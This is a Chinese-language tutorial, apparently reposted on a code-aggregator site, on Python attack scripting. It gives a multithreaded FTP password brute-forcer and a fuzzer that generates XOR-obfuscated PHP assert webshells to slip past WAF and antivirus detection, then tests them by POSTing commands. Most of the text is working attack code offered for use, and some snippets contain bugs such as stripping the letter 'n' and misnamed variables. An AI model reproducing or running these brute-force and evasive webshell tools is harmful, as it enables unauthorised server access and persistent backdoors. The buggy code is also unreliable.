概述
【Python】多线程Fuzz&Waf异或免杀&爆破
- 学习内容和目的
- 简单多线程脚本
- 利用FTP模块实现协议爆破脚本
- 不含多线程简单爆破
- 引入queue和threading
- 配合Fuzz实现免杀异或Shell脚本
- 添加requests判断结果
- 多线程代码
注意sys.argv传参数必要时需要转换int型。
学习内容和目的
知识点:协议模块使用,Request爬虫技术,简易多线程技术,编码技术,Bypass后门技术
学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合Fuzz吊打Waf
简单多线程脚本
queue,threading模块使用
利用FTP模块实现协议爆破脚本
1.ftplib模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断
不含多线程简单爆破
import ftplib
import sys
def ftp_brute():
ftp=ftplib.FTP()
ftp.connect('192.168.0.101',21)
for username in open('ftp-user.txt'):
for password in open('ftp-pass.txt'):
username=username.replace('n','')
password=password.replace('n','')
try:
ftp.login(username,password)
list=ftp.retrlines('list')
print(list)
print(username+'|'+password+'ok')
except ftplib.all_errors:
pass
if __name__ == '__main__':
ip=sys.argv[1]
ftp_brute()
引入queue和threading
import ftplib
import sys
import queue
import threading
def ftp_brute():
ftp=ftplib.FTP()
ftp.connect('192.168.0.101',21)
while not q.empty():
dict=q.get()
dict=dict.split('|')
username=dict[0]#因为q里面有|,分隔后每个q含有两项。
password=dict[1]
try:
ftp.login(username,password)
list=ftp.retrlines('list')
print(list)
print(username+'|'+password+'ok')
except ftplib.all_errors:
pass
if __name__ == '__main__':
q=queue.Queue()
for username in open('ftp-user.txt'):
for password in open('ftp-pass.txt'):
username=username.replace('n','')
password=password.replace('n','')
zidian=username+'|'+password
q.put(zidian)
for x in range(10):#10是线程数
t=threading.Thread(target=ftp_brute)#函 数不加()
t.start()
添加参数:
import ftplib
import sys
import queue
import threading
def ftp_brute(ip,port):
ftp=ftplib.FTP()
ftp.connect(ip,int(port))
while not q.empty():
dict=q.get()
dict=dict.split('|')
username=dict[0]#因为q里面有|,分隔后每个q含有两项。
password=dict[1]
try:
ftp.login(username,password)
list=ftp.retrlines('list')
print(list)
print(username+'|'+password+'ok')
except ftplib.all_errors:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
userfile=sys.argv[3]
passfile=sys.argv[4]
threading_num=sys.argv[5]
q=queue.Queue()
for username in open(userfile):
for password in open(passfile):
username=username.replace('n','')
password=password.replace('n','')
zidian=username+'|'+password
q.put(zidian)
for x in range(10):#10是线程数
t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#参数名args
t.start()
配合Fuzz实现免杀异或Shell脚本
1.免杀异或Shell原理讲解及开发思路(参考及举例:^!@,"?等)
2.基于Fuzz思路生成大量Payload代码并有序命名写入到网站文件中。
3.基于多线程实现批量访问Shell文件并提交测试是否正常连接回显。
PHP异或
通过^
进行异或运算:
<?php $a=("!"^"@").'ssert';$a($_POST[x]);?>
要把!
和@
对应的二进制的ASCII码异或运算。得到的是a。免杀绕过的是assert。
如何去生成更多个a的运算符?
- 1.搞清楚算法,一个个反推。
- 2.遍历查找,看那个匹配a。
把后门木马写入www文件夹下,一个个测试request访问,看那个成功。
for i in range(1,127):
for ii in range(1,127):
code="<?php $a="+"'"+chr(i)+"('"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
with open("E:/securitytools/phpstudy_pro/WWW"+str(i)+'xs'+str(ii)+'.php','a+') as f:
f.write(code)
f.close()
请求:
127.0.0.1/x/33xs64.php
传入参数
x=phpinfo()
可以看到等待assert命令的执行。
添加requests判断结果
import requests
for i in range(1,127):
for ii in range(1,127):
code="<?php $a="+"('"+chr(i)+"'"+"^"+"'"+chr(ii)+"')"+".'ssert';$a($_POST[x]);?>"
with open("E:/securitytools/phpstudy_pro/WWW/x/"+str(i)+'xs'+str(ii)+'.php','a+') as f:
f.write(code)
f.close()
url='http://127.0.0.1/x/'+str(i)+'xs'+str(ii)+'.php'
data={
'x':'phpinfo()'
}
result=requests.post(url,data=data).content.decode('utf-8')
if 'xxx' in result:
print('Bypass ok->'+str(i)+'xs'+str(ii)+'.php')
print(code)
#else
#print(str(i)+'xs'+str(ii)+'.php'+'|No')
无子符后门,
assert中的每个字符都可以拆分。$a也可以拆分。
webshell免杀
多线程代码
原型代码,编译代码。
import requests
import time
import threading,queue
def string():
while not q.empty():
filename=q.get()
url='http://127.0.0.1/x/'+filename
datas={
'x':'phpinfo();'
}
result=requests.post(url,datas=datas).content.decode('utf-8')
if 'xxx' in result:
print('check->'+filename+'->OK')
else:
print('check->'+filename+'->No')
time.sleep(1)
def shell_test_check():
url='http://127.0.0.1/x/33x64.php'
datas={
'x':'phpinfo();'
}
result=requests.post(url,datas=datas).content.decode('utf-8')
if 'xxx' in result:
print('ok')
if __name__ == '__main__':
q=queue.Queue()
for i in range(1,127):
for ii in range(1,127):
payload="'"+chr(i)+"'"+"^"+"'"+chr(ii)+"'"
code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
filname=str(i)+'xd'+str(ii)+'.php'
q.put(filename)
with open('D://xxxx/www/x'+filename,'a') as f:
f.write(code)
f.close()
print('Fuzz文件生成成功')
for x in range(20):
t=threading.Thread(target=string)
t.start()
最后
以上就是丰富期待为你收集整理的【Python】多线程Fuzz&&Waf异或免杀&爆破的全部内容,希望文章能够帮你解决【Python】多线程Fuzz&&Waf异或免杀&爆破所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复